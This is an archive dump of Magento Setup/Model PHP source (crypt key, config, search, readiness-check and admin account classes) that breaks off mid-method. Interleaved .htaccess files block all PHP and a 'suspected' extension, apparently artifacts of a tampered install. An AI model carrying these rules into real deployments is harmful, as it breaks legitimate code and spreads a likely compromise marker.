Magento/Setup/Model/CryptKeyGenerator.php000077700000002143151323623130014436 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Math\Random; /** * Generates a crypt. */ class CryptKeyGenerator implements CryptKeyGeneratorInterface { /** * @var Random */ private $random; /** * CryptKeyGenerator constructor. * * @param Random $random */ public function __construct(Random $random) { $this->random = $random; } /** * Generates & returns a string to be used as crypt key. * * @return string * @throws \Magento\Framework\Exception\LocalizedException */ public function generate() { return md5($this->getRandomString()); } /** * Returns a random string. * * @return string * @throws \Magento\Framework\Exception\LocalizedException */ private function getRandomString() { return $this->random->getRandomString(ConfigOptionsListConstants::STORE_KEY_RANDOM_STRING_SIZE); } } Magento/Setup/Model/CryptKeyGeneratorInterface.php000077700000000673151323623130016265 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * Interface for crypt key generators. */ interface CryptKeyGeneratorInterface { /** * Generates & returns a string to be used as crypt key. * * The key length is not a parameter, but an implementation detail. * * @return string */ public function generate(); } Magento/Setup/Model/UninstallCollector.php000077700000004263151323623130014642 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\Module\FullModuleList; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Setup\UninstallInterface; use Magento\Setup\Module\DataSetupFactory; /** * Class for collecting all Uninstall interfaces in all modules */ class UninstallCollector { /** * Object manager * * @var ObjectManagerInterface */ private $objectManager; /** * DataSetup Factory * * @var DataSetupFactory */ private $dataSetupFactory; /** * Constructor * * @param ObjectManagerProvider $objectManagerProvider * @param DataSetupFactory $dataSetupFactory */ public function __construct( ObjectManagerProvider $objectManagerProvider, DataSetupFactory $dataSetupFactory ) { $this->objectManager = $objectManagerProvider->get(); $this->dataSetupFactory = $dataSetupFactory; } /** * Collect Uninstall classes from modules * * @param array $filterModules * @return UninstallInterface[] */ public function collectUninstall($filterModules = []) { $uninstallList = []; /** @var \Magento\Setup\Module\DataSetup $setup */ $setup = $this->dataSetupFactory->create(); $result = $setup->getConnection()->select()->from($setup->getTable('setup_module'), ['module']); if (isset($filterModules) && count($filterModules) > 0) { $result->where('module in( ? )', $filterModules); } // go through modules foreach ($setup->getConnection()->fetchAll($result) as $row) { $uninstallClassName = str_replace('_', '\\', $row['module']) . '\Setup\Uninstall'; if (class_exists($uninstallClassName)) { $uninstallClass = $this->objectManager->create($uninstallClassName); if (is_subclass_of($uninstallClass, \Magento\Framework\Setup\UninstallInterface::class)) { $uninstallList[$row['module']] = $uninstallClass; } } } return $uninstallList; } } Magento/Setup/Model/SearchConfig.php000077700000007054151323623130013356 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Model; use Magento\Framework\Setup\Option\AbstractConfigOption; use Magento\Framework\Validation\ValidationException; use Magento\Search\Model\SearchEngine\Validator; use Magento\Search\Setup\CompositeInstallConfig; use Magento\Setup\Exception as SetupException; /** * Configure search engine */ class SearchConfig { /** * @var SearchConfigOptionsList */ private $searchConfigOptionsList; /** * @var Validator */ private $searchValidator; /** * @var CompositeInstallConfig */ private $installConfig; /** * @param SearchConfigOptionsList $searchConfigOptionsList * @param Validator $searchValidator * @param CompositeInstallConfig $installConfig */ public function __construct( SearchConfigOptionsList $searchConfigOptionsList, Validator $searchValidator, CompositeInstallConfig $installConfig ) { $this->searchConfigOptionsList = $searchConfigOptionsList; $this->searchValidator = $searchValidator; $this->installConfig = $installConfig; } /** * Save the search engine configuration * * @param array $inputOptions * @throws SetupException * @throws ValidationException */ public function saveConfiguration(array $inputOptions) { $searchConfigOptions = $this->extractSearchOptions($inputOptions); if (!empty($searchConfigOptions[SearchConfigOptionsList::INPUT_KEY_SEARCH_ENGINE])) { $this->validateSearchEngineSelection($searchConfigOptions); } try { $this->installConfig->configure($searchConfigOptions); } catch (\Exception $e) { throw new SetupException($e->getMessage()); } $this->validateSearchEngine(); } /** * Validate search engine * * @throws ValidationException */ public function validateSearchEngine() { $validationErrors = $this->searchValidator->validate(); if (!empty($validationErrors)) { throw new ValidationException(__(implode(PHP_EOL, $validationErrors))); } } /** * Validate the selected search engine * * @param array $searchOptions * @throws SetupException */ private function validateSearchEngineSelection(array $searchOptions) { if (isset($searchOptions[SearchConfigOptionsList::INPUT_KEY_SEARCH_ENGINE])) { $selectedEngine = $searchOptions[SearchConfigOptionsList::INPUT_KEY_SEARCH_ENGINE]; $availableEngines = $this->searchConfigOptionsList->getAvailableSearchEngineList(); if (!isset($availableEngines[$selectedEngine])) { throw new SetupException("Search engine '{$selectedEngine}' is not an available search engine."); } } } /** * Extract configuration options for search * * @param array $inputOptions * @return array */ private function extractSearchOptions(array $inputOptions): array { $searchOptions = []; $installOptions = $this->searchConfigOptionsList->getOptionsList(); /** @var AbstractConfigOption $option */ foreach ($installOptions as $option) { $optionName = $option->getName(); if (isset($inputOptions[$optionName])) { $searchOptions[$optionName] = $inputOptions[$optionName]; } } return $searchOptions; } } Magento/Setup/Model/ModuleContext.php000077700000001340151323623130013605 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\Setup\ModuleContextInterface; /** * Context of a module being installed/updated: version, user data, etc. * * @api */ class ModuleContext implements ModuleContextInterface { /** * Current version of a module * * @var string */ private $version; /** * Init * * @param string $version Current version of a module */ public function __construct($version) { $this->version = $version; } /** * {@inheritdoc} */ public function getVersion() { return $this->version; } } Magento/Setup/Model/ConfigGenerator.php000077700000022256151323623130014100 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\App\ObjectManager; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\Data\ConfigDataFactory; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\App\State; use Magento\Framework\Math\Random; use Magento\Setup\Model\ConfigOptionsList\DriverOptions; /** * Creates deployment config data based on user input array * * This class introduced to break down {@see \Magento\Setup\Model\ConfigOptionsList::createConfig} */ class ConfigGenerator { /** * Maps configuration parameters to array keys in deployment config file * * @var array */ private static $paramMap = [ ConfigOptionsListConstants::INPUT_KEY_DB_HOST => ConfigOptionsListConstants::KEY_HOST, ConfigOptionsListConstants::INPUT_KEY_DB_NAME => ConfigOptionsListConstants::KEY_NAME, ConfigOptionsListConstants::INPUT_KEY_DB_USER => ConfigOptionsListConstants::KEY_USER, ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD => ConfigOptionsListConstants::KEY_PASSWORD, ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX => ConfigOptionsListConstants::KEY_PREFIX, ConfigOptionsListConstants::INPUT_KEY_DB_MODEL => ConfigOptionsListConstants::KEY_MODEL, ConfigOptionsListConstants::INPUT_KEY_DB_ENGINE => ConfigOptionsListConstants::KEY_ENGINE, ConfigOptionsListConstants::INPUT_KEY_DB_INIT_STATEMENTS => ConfigOptionsListConstants::KEY_INIT_STATEMENTS, ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY => ConfigOptionsListConstants::KEY_ENCRYPTION_KEY, ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE => ConfigOptionsListConstants::KEY_SAVE, ConfigOptionsListConstants::INPUT_KEY_RESOURCE => ConfigOptionsListConstants::KEY_RESOURCE, ]; /** * @var DeploymentConfig */ protected $deploymentConfig; /** * @var Random * @deprecated 100.2.0 */ protected $random; /** * @var ConfigDataFactory */ private $configDataFactory; /** * @var CryptKeyGeneratorInterface */ private $cryptKeyGenerator; /** * @var DriverOptions */ private $driverOptions; /** * Constructor * * @param Random $random Deprecated since 100.2.0 * @param DeploymentConfig $deploymentConfig * @param ConfigDataFactory|null $configDataFactory * @param CryptKeyGeneratorInterface|null $cryptKeyGenerator * @param DriverOptions|null $driverOptions */ public function __construct( Random $random, DeploymentConfig $deploymentConfig, ConfigDataFactory $configDataFactory = null, CryptKeyGeneratorInterface $cryptKeyGenerator = null, DriverOptions $driverOptions = null ) { $this->random = $random; $this->deploymentConfig = $deploymentConfig; $this->configDataFactory = $configDataFactory ?? ObjectManager::getInstance()->get(ConfigDataFactory::class); $this->cryptKeyGenerator = $cryptKeyGenerator ?? ObjectManager::getInstance()->get(CryptKeyGenerator::class); $this->driverOptions = $driverOptions ?? ObjectManager::getInstance()->get(DriverOptions::class); } /** * Creates encryption key config data * * @param array $data * @return ConfigData */ public function createCryptConfig(array $data) { $currentKey = $this->deploymentConfig->get(ConfigOptionsListConstants::CONFIG_PATH_CRYPT_KEY); $configData = $this->configDataFactory->create(ConfigFilePool::APP_ENV); // Use given key if set, else use current $key = $data[ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY] ?? $currentKey; // If there is no key given or currently set, generate a new one $key = $key ?? $this->cryptKeyGenerator->generate(); // Chaining of ".. ?? .." is not used to keep it simpler to understand $configData->set(ConfigOptionsListConstants::CONFIG_PATH_CRYPT_KEY, $key); return $configData; } /** * Creates session config data * * @param array $data * @return ConfigData */ public function createSessionConfig(array $data) { $configData = $this->configDataFactory->create(ConfigFilePool::APP_ENV); if (isset($data[ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE])) { $configData->set( ConfigOptionsListConstants::CONFIG_PATH_SESSION_SAVE, $data[ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE] ); } return $configData; } /** * Creates definitions config data * * @param array $data * @return ConfigData|null * @deprecated 2.2.0 * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public function createDefinitionsConfig(array $data) { return null; } /** * Creates db config data * * @param array $data * @return ConfigData */ public function createDbConfig(array $data) { $configData = $this->configDataFactory->create(ConfigFilePool::APP_ENV); $optional = [ ConfigOptionsListConstants::INPUT_KEY_DB_HOST, ConfigOptionsListConstants::INPUT_KEY_DB_NAME, ConfigOptionsListConstants::INPUT_KEY_DB_USER, ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD, ConfigOptionsListConstants::INPUT_KEY_DB_MODEL, ConfigOptionsListConstants::INPUT_KEY_DB_ENGINE, ConfigOptionsListConstants::INPUT_KEY_DB_INIT_STATEMENTS, ]; if (isset($data[ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX])) { $configData->set( ConfigOptionsListConstants::CONFIG_PATH_DB_PREFIX, $data[ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX] ); } $dbConnectionPrefix = ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/'; foreach ($optional as $key) { if (isset($data[$key])) { $configData->set($dbConnectionPrefix . self::$paramMap[$key], $data[$key]); } } $currentStatus = $this->deploymentConfig->get($dbConnectionPrefix . ConfigOptionsListConstants::KEY_ACTIVE); if ($currentStatus === null) { $configData->set($dbConnectionPrefix . ConfigOptionsListConstants::KEY_ACTIVE, '1'); } $driverOptions = $this->driverOptions->getDriverOptions($data); $configData->set($dbConnectionPrefix . ConfigOptionsListConstants::KEY_DRIVER_OPTIONS, $driverOptions); return $configData; } /** * Creates resource config data * * @return ConfigData */ public function createResourceConfig() { $configData = $this->configDataFactory->create(ConfigFilePool::APP_ENV); if ($this->deploymentConfig->get(ConfigOptionsListConstants::CONFIG_PATH_RESOURCE_DEFAULT_SETUP) === null) { $configData->set(ConfigOptionsListConstants::CONFIG_PATH_RESOURCE_DEFAULT_SETUP, 'default'); } return $configData; } /** * Creates x-frame-options header config data * * @return ConfigData */ public function createXFrameConfig() { $configData = $this->configDataFactory->create(ConfigFilePool::APP_ENV); if ($this->deploymentConfig->get(ConfigOptionsListConstants::CONFIG_PATH_X_FRAME_OPT) === null) { $configData->set(ConfigOptionsListConstants::CONFIG_PATH_X_FRAME_OPT, 'SAMEORIGIN'); } return $configData; } /** * Create default entry for mode config option * * @return ConfigData */ public function createModeConfig() { $configData = $this->configDataFactory->create(ConfigFilePool::APP_ENV); if ($this->deploymentConfig->get(State::PARAM_MODE) === null) { $configData->set(State::PARAM_MODE, State::MODE_DEFAULT); } return $configData; } /** * Creates cache hosts config data * * @param array $data * @return ConfigData */ public function createCacheHostsConfig(array $data) { $configData = $this->configDataFactory->create(ConfigFilePool::APP_ENV); if (isset($data[ConfigOptionsListConstants::INPUT_KEY_CACHE_HOSTS])) { $hosts = explode(',', $data[ConfigOptionsListConstants::INPUT_KEY_CACHE_HOSTS]); $hosts = array_map( function ($hostData) { $hostDataParts = explode(':', trim($hostData)); $tmp = ['host' => $hostDataParts[0]]; if (isset($hostDataParts[1])) { $tmp['port'] = $hostDataParts[1]; } return $tmp; }, $hosts ); $configData->set(ConfigOptionsListConstants::CONFIG_PATH_CACHE_HOSTS, $hosts); } $configData->setOverrideWhenSave(true); return $configData; } } Magento/Setup/Model/Complex/Generator.php000077700000004604151323623130014356 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Complex; use Magento\ImportExport\Model\Import\AbstractSource; /** * Class Generator * * */ class Generator extends AbstractSource { /** * Data row pattern * * @var Pattern */ protected $_pattern; /** * Entities limit * * @var int */ protected $_limit = 0; /** * Entities Count * * @var int */ protected $_count = 0; /** * Array of template variables (static values or callables) * * @var array */ protected $_variables = []; /** * Current index * * @var int */ protected $_index = 1; /** * Rows count in pattern * * @var int */ protected $_patternRowsCount = 0; /** * Read the row pattern to determine which columns are dynamic, set the collection size * * @param Pattern $rowPattern * @param int $count how many records to generate */ public function __construct(Pattern $rowPattern, $count) { $this->_pattern = $rowPattern; $this->_count = $count; $this->_patternRowsCount = $this->_pattern->getRowsCount(); $this->_limit = (int)$count * $this->_patternRowsCount; parent::__construct($this->_pattern->getHeaders()); } /** * Get row index for template * * @param int $key * * @return float */ public function getIndex($key) { return floor($key / $this->_patternRowsCount) + 1; } /** * Whether limit of generated elements is reached (according to "Iterator" interface) * * @return bool */ public function valid() { return $this->_key + 1 <= $this->_limit; } /** * Get next row in set * * @return array|bool */ protected function _getNextRow() { $key = $this->key(); $this->_index = $this->getIndex($key); if ($key > $this->_limit) { return false; } return $this->_pattern->getRow($this->_index, $key); } /** * Return the current element * * Returns the row in associative array format: array(<col_name> => <value>, ...) * * @return array */ public function current() { return $this->_row; } } Magento/Setup/Model/Complex/Pattern.php000077700000004721151323623130014045 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Complex; /** * Complex pattern class for complex generator (used for creating configurable products) * * */ class Pattern { /** * Pattern headers set * * @var array */ protected $_headers; /** * Rows set - array of rows pattern, can contain as many rows as you need * * @var array(array) */ protected $_rowsSet; /** * Position * * @var int */ protected $_position = 0; /** * Set headers * * @param array $headers * * @return Pattern */ public function setHeaders(array $headers) { $this->_headers = $headers; return $this; } /** * Get headers array * * @return array */ public function getHeaders() { return $this->_headers; } /** * Set combined rows set * * @param array $rowsSet * * @return Pattern * @throws \Exception */ public function setRowsSet(array $rowsSet) { if (!count($rowsSet)) { throw new \Exception("Rows set must contain at least 1 array representing a row pattern"); } $this->_rowsSet = $rowsSet; if (!isset($this->_headers)) { $this->_headers = array_keys($rowsSet[0]); } return $this; } /** * Add row * * @param array $row * * @return Pattern */ public function addRow(array $row) { $this->_rowsSet[] = $row; return $this; } /** * Get row * * @param int $index * @param int $generatorKey * * @return array|null */ public function getRow($index, $generatorKey) { $row = $this->_rowsSet[$generatorKey % count($this->_rowsSet)]; foreach ($this->getHeaders() as $key) { if (isset($row[$key])) { if (is_callable($row[$key])) { $row[$key] = call_user_func($row[$key], $index, $generatorKey); } else { $row[$key] = str_replace('%s', $index, $row[$key]); } } else { $row[$key] = ''; } } return $row; } /** * Get rows count * * @return int */ public function getRowsCount() { return count($this->_rowsSet); } } Magento/Setup/Model/Complex/.htaccess000077700000000177151323623130013516 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/Customer/CustomerDataGeneratorFactory.php000077700000002227151323623130020413 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Customer; /** * Create new instance of CustomerDataGenerator */ class CustomerDataGeneratorFactory { /** * @var \Magento\Framework\ObjectManagerInterface */ private $objectManager; /** * @param \Magento\Framework\ObjectManagerInterface $objectManager */ public function __construct(\Magento\Framework\ObjectManagerInterface $objectManager) { $this->objectManager = $objectManager; } /** * Create CustomerGenerator instance with specified configuration * * @param array $config * @return \Magento\Setup\Model\Customer\CustomerDataGenerator */ public function create(array $config) { return $this->objectManager->create( \Magento\Setup\Model\Customer\CustomerDataGenerator::class, [ 'addressGenerator' => $this->objectManager->create( \Magento\Setup\Model\Address\AddressDataGenerator::class ), 'config' => $config ] ); } } Magento/Setup/Model/Customer/CustomerDataGenerator.php000077700000004767151323623130017076 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Customer; /** * Generate customer data for customer fixture */ class CustomerDataGenerator { /** * @var array */ private $config; /** * @var \Magento\Setup\Model\Address\AddressDataGenerator */ private $addressDataGenerator; /** * @var \Magento\Customer\Model\ResourceModel\Group\CollectionFactory */ private $groupCollectionFactory; /** * @var array */ private $customerGroupIds; /** * @param \Magento\Customer\Model\ResourceModel\Group\CollectionFactory $groupCollectionFactory * @param \Magento\Setup\Model\Address\AddressDataGenerator $addressDataGenerator * @param array $config */ public function __construct( \Magento\Customer\Model\ResourceModel\Group\CollectionFactory $groupCollectionFactory, \Magento\Setup\Model\Address\AddressDataGenerator $addressDataGenerator, array $config ) { $this->groupCollectionFactory = $groupCollectionFactory; $this->addressDataGenerator = $addressDataGenerator; $this->config = $config; } /** * Generate customer data by index * * @param int $customerId * @return array */ public function generate($customerId) { return [ 'customer' => [ 'email' => sprintf('user_%s@example.com', $customerId), 'group_id' => $this->getGroupIdForCustomer($customerId) ], 'addresses' => $this->generateAddresses(), ]; } /** * Get customer group id for customer * @param int $customerId * @return int */ private function getGroupIdForCustomer($customerId) { if (!$this->customerGroupIds) { $this->customerGroupIds = $this->groupCollectionFactory->create()->getAllIds(); } return $this->customerGroupIds[$customerId % count($this->customerGroupIds)]; } /** * Generate customer addresses with distribution * 50% as shipping address * 50% as billing address * * @return array */ private function generateAddresses() { $addresses = []; $addressesCount = $this->config['addresses-count']; while ($addressesCount) { $addresses[] = $this->addressDataGenerator->generateAddress(); $addressesCount--; } return $addresses; } } Magento/Setup/Model/Customer/.htaccess000077700000000177151323623130013710 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/PhpReadinessCheck.php000077700000026264151323623130014352 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Composer\Package\Version\VersionParser; use Magento\Framework\Composer\ComposerInformation; use Magento\Framework\Convert\DataSize; use Magento\Setup\Controller\ResponseTypeInterface; /** * Checks for PHP readiness. It is used by both Cron and Setup wizard. */ class PhpReadinessCheck { /** * @var ComposerInformation */ private $composerInformation; /** * @var PhpInformation */ private $phpInformation; /** * @var VersionParser */ private $versionParser; /** * Data size converter * * @var DataSize */ protected $dataSize; /** * Constructor * * @param ComposerInformation $composerInformation * @param PhpInformation $phpInformation * @param VersionParser $versionParser * @param DataSize $dataSize */ public function __construct( ComposerInformation $composerInformation, PhpInformation $phpInformation, VersionParser $versionParser, DataSize $dataSize ) { $this->composerInformation = $composerInformation; $this->phpInformation = $phpInformation; $this->versionParser = $versionParser; $this->dataSize = $dataSize; } /** * Checks PHP version * * @return array */ public function checkPhpVersion() { try { $requiredVersion = $this->composerInformation->getRequiredPhpVersion(); } catch (\Exception $e) { return [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => [ 'error' => 'phpVersionError', 'message' => 'Cannot determine required PHP version: ' . $e->getMessage() ], ]; } $multipleConstraints = $this->versionParser->parseConstraints($requiredVersion); $normalizedPhpVersion = $this->getNormalizedCurrentPhpVersion(PHP_VERSION); $currentPhpVersion = $this->versionParser->parseConstraints($normalizedPhpVersion); $responseType = ResponseTypeInterface::RESPONSE_TYPE_SUCCESS; if (!$multipleConstraints->matches($currentPhpVersion)) { $responseType = ResponseTypeInterface::RESPONSE_TYPE_ERROR; } return [ 'responseType' => $responseType, 'data' => [ 'required' => $requiredVersion, 'current' => PHP_VERSION, ], ]; } /** * Checks PHP settings * * @return array */ public function checkPhpSettings() { $responseType = ResponseTypeInterface::RESPONSE_TYPE_SUCCESS; $settings = array_merge( $this->checkXDebugNestedLevel(), $this->checkPopulateRawPostSetting(), $this->checkFunctionsExistence() ); foreach ($settings as $setting) { if ($setting['error']) { $responseType = ResponseTypeInterface::RESPONSE_TYPE_ERROR; } } return [ 'responseType' => $responseType, 'data' => $settings ]; } /** * Checks PHP settings for cron * * @return array */ public function checkPhpCronSettings() { $responseType = ResponseTypeInterface::RESPONSE_TYPE_SUCCESS; $settings = array_merge( $this->checkXDebugNestedLevel(), $this->checkMemoryLimit() ); foreach ($settings as $setting) { if ($setting['error']) { $responseType = ResponseTypeInterface::RESPONSE_TYPE_ERROR; } } return [ 'responseType' => $responseType, 'data' => $settings ]; } /** * Checks PHP extensions * * @return array */ public function checkPhpExtensions() { try { $required = $this->composerInformation->getRequiredExtensions(); $current = $this->phpInformation->getCurrent(); } catch (\Exception $e) { return [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => [ 'error' => 'phpExtensionError', 'message' => 'Cannot determine required PHP extensions: ' . $e->getMessage() ], ]; } $responseType = ResponseTypeInterface::RESPONSE_TYPE_SUCCESS; $missing = array_values(array_diff($required, $current)); if ($missing) { $responseType = ResponseTypeInterface::RESPONSE_TYPE_ERROR; } return [ 'responseType' => $responseType, 'data' => [ 'required' => $required, 'missing' => $missing, ], ]; } /** * Checks php memory limit * * @return array */ public function checkMemoryLimit() { $data = []; $warning = false; $error = false; $message = ''; $minimumRequiredMemoryLimit = '756M'; $recommendedForUpgradeMemoryLimit = '2G'; $currentMemoryLimit = ini_get('memory_limit'); $currentMemoryInteger = (int)$currentMemoryLimit; if ($currentMemoryInteger > 0 && $this->dataSize->convertSizeToBytes($currentMemoryLimit) < $this->dataSize->convertSizeToBytes($minimumRequiredMemoryLimit) ) { $error = true; $message = sprintf( 'Your current PHP memory limit is %s. Magento 2 requires it to be set to %s or more. As a user with root privileges, edit your php.ini file to increase memory_limit. (The command php --ini tells you where it is located.) After that, restart your web server and try again.', $currentMemoryLimit, $minimumRequiredMemoryLimit ); } elseif ($currentMemoryInteger > 0 && $this->dataSize->convertSizeToBytes($currentMemoryLimit) < $this->dataSize->convertSizeToBytes($recommendedForUpgradeMemoryLimit) ) { $warning = true; $message = sprintf( 'Your current PHP memory limit is %s. We recommend it to be set to %s or more to use Setup Wizard. As a user with root privileges, edit your php.ini file to increase memory_limit. (The command php --ini tells you where it is located.) After that, restart your web server and try again.', $currentMemoryLimit, $recommendedForUpgradeMemoryLimit ); } $data['memory_limit'] = [ 'message' => $message, 'error' => $error, 'warning' => $warning, ]; return $data; } /** * Checks if xdebug.max_nesting_level is set 200 or more * * @return array */ private function checkXDebugNestedLevel() { $data = []; $error = false; $currentExtensions = $this->phpInformation->getCurrent(); if (in_array('xdebug', $currentExtensions)) { $currentXDebugNestingLevel = (int)ini_get('xdebug.max_nesting_level'); $minimumRequiredXDebugNestedLevel = $this->phpInformation->getRequiredMinimumXDebugNestedLevel(); if ($minimumRequiredXDebugNestedLevel > $currentXDebugNestingLevel) { $error = true; } $message = sprintf( 'Your current setting of xdebug.max_nesting_level=%d. Magento 2 requires it to be set to %d or more. Edit your config, restart web server, and try again.', $currentXDebugNestingLevel, $minimumRequiredXDebugNestedLevel ); $data['xdebug_max_nesting_level'] = [ 'message' => $message, 'error' => $error ]; } return $data; } /** * Checks if PHP version >= 5.6.0 and always_populate_raw_post_data is set to -1 * * Beginning PHP 7.0, support for 'always_populate_raw_post_data' is going to removed. * And beginning PHP 5.6, a deprecated message is displayed if 'always_populate_raw_post_data' * is set to a value other than -1. * * @return array */ private function checkPopulateRawPostSetting() { // HHVM and PHP 7does not support 'always_populate_raw_post_data' to be set to -1 if (version_compare(PHP_VERSION, '7.0.0-beta') >= 0 || defined('HHVM_VERSION')) { return []; } $data = []; $error = false; $iniSetting = (int)ini_get('always_populate_raw_post_data'); $checkVersionConstraint = $this->versionParser->parseConstraints('~5.6.0'); $normalizedPhpVersion = $this->getNormalizedCurrentPhpVersion(PHP_VERSION); $currentVersion = $this->versionParser->parseConstraints($normalizedPhpVersion); if ($checkVersionConstraint->matches($currentVersion) && $iniSetting !== -1) { $error = true; } $message = sprintf( 'Your PHP Version is %s, but always_populate_raw_post_data = %d. $HTTP_RAW_POST_DATA is deprecated from PHP 5.6 onwards and will be removed in PHP 7.0. This will stop the installer from running. Please open your php.ini file and set always_populate_raw_post_data to -1. If you need more help please call your hosting provider.', PHP_VERSION, (int)ini_get('always_populate_raw_post_data') ); $data['always_populate_raw_post_data'] = [ 'message' => $message, 'helpUrl' => 'http://php.net/manual/en/ini.core.php#ini.always-populate-settings-data', 'error' => $error ]; return $data; } /** * Check whether all special functions exists * * @return array */ private function checkFunctionsExistence() { $data = []; $requiredFunctions = [ [ 'name' => 'imagecreatefromjpeg', 'message' => 'You must have installed GD library with --with-jpeg-dir=DIR option.', 'helpUrl' => 'http://php.net/manual/en/image.installation.php', ], ]; foreach ($requiredFunctions as $function) { $data['missed_function_' . $function['name']] = [ 'message' => $function['message'], 'helpUrl' => $function['helpUrl'], 'error' => !function_exists($function['name']), ]; } return $data; } /** * Normalize PHP Version * * @param string $version * @return string */ private function getNormalizedCurrentPhpVersion($version) { try { $normalizedPhpVersion = $this->versionParser->normalize($version); } catch (\UnexpectedValueException $e) { $prettyVersion = preg_replace('#^([^~+-]+).*$#', '$1', $version); $normalizedPhpVersion = $this->versionParser->normalize($prettyVersion); } return $normalizedPhpVersion; } } Magento/Setup/Model/AdminAccount.php000077700000022041151323623130013361 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Authorization\Model\Acl\Role\Group; use Magento\Authorization\Model\Acl\Role\User; use Magento\Authorization\Model\UserContextInterface; use Magento\Framework\Encryption\EncryptorInterface; use Magento\Framework\DB\Adapter\AdapterInterface; class AdminAccount { /**#@+ * Data keys */ const KEY_USER = 'admin-user'; const KEY_PASSWORD = 'admin-password'; const KEY_EMAIL = 'admin-email'; const KEY_FIRST_NAME = 'admin-firstname'; const KEY_LAST_NAME = 'admin-lastname'; const KEY_PREFIX = 'db-prefix'; /**#@- */ /** * Db connection * * @var AdapterInterface */ private $connection; /** * Configurations * * @var [] */ private $data; /** * @var EncryptorInterface */ private $encryptor; /** * Default Constructor * * @param AdapterInterface $connection * @param EncryptorInterface $encryptor * @param array $data */ public function __construct( AdapterInterface $connection, EncryptorInterface $encryptor, array $data ) { $this->connection = $connection; $this->encryptor = $encryptor; $this->data = $data; } /** * Generate password string * * @return string */ protected function generatePassword() { return $this->encryptor->getHash($this->data[self::KEY_PASSWORD], true); } /** * Save administrator account and user role to DB. * * If the administrator account exists, update it. * * @return void */ public function save() { $adminId = $this->saveAdminUser(); $this->saveAdminUserRole($adminId); } /** * Uses the information in data[] to create the admin user. * * If the username already exists, it will update the record with information from data[] * and set the is_active flag. * * @return int The admin user id */ private function saveAdminUser() { $passwordHash = $this->generatePassword(); $adminData = [ 'firstname' => $this->data[self::KEY_FIRST_NAME], 'lastname' => $this->data[self::KEY_LAST_NAME], 'password' => $passwordHash, 'is_active' => 1, ]; $result = $this->connection->fetchRow( 'SELECT user_id, username, email FROM ' . $this->getTableName('admin_user') . ' ' . 'WHERE username = :username OR email = :email', ['username' => $this->data[self::KEY_USER], 'email' => $this->data[self::KEY_EMAIL]], null ); if (!empty($result)) { // User exists, update $this->validateUserMatches(); $adminId = $result['user_id']; $adminData['modified'] = date('Y-m-d H:i:s'); $this->connection->update( $this->getTableName('admin_user'), $adminData, $this->connection->quoteInto('username = ?', $this->data[self::KEY_USER]) ); } else { // User does not exist, create it $adminData['username'] = $this->data[self::KEY_USER]; $adminData['email'] = $this->data[self::KEY_EMAIL]; $this->connection->insert( $this->getTableName('admin_user'), $adminData ); $adminId = $this->connection->lastInsertId(); } $this->trackPassword($adminId, $passwordHash); return $adminId; } /** * Remember a password hash for further usage. * * @param int $adminId * @param string $passwordHash * @return void */ private function trackPassword($adminId, $passwordHash) { $this->connection->insert( $this->getTableName('admin_passwords'), [ 'user_id' => $adminId, 'password_hash' => $passwordHash, 'last_updated' => time() ] ); } /** * Validates that the username and email both match the user, * and that password exists and is different from user name. * * @return void * @throws \Exception If the username and email do not both match data provided to install * @throws \Exception If password is empty and if password is the same as the user name */ public function validateUserMatches() { if (empty($this->data[self::KEY_PASSWORD])) { throw new \Exception( '"Password" is required. Enter and try again.' ); } if (strcasecmp($this->data[self::KEY_PASSWORD], $this->data[self::KEY_USER]) == 0) { throw new \Exception( 'Password cannot be the same as the user name.' ); } try { $result = $this->connection->fetchRow( "SELECT user_id, username, email FROM {$this->getTableName('admin_user')} " . "WHERE username = :username OR email = :email", ['username' => $this->data[self::KEY_USER], 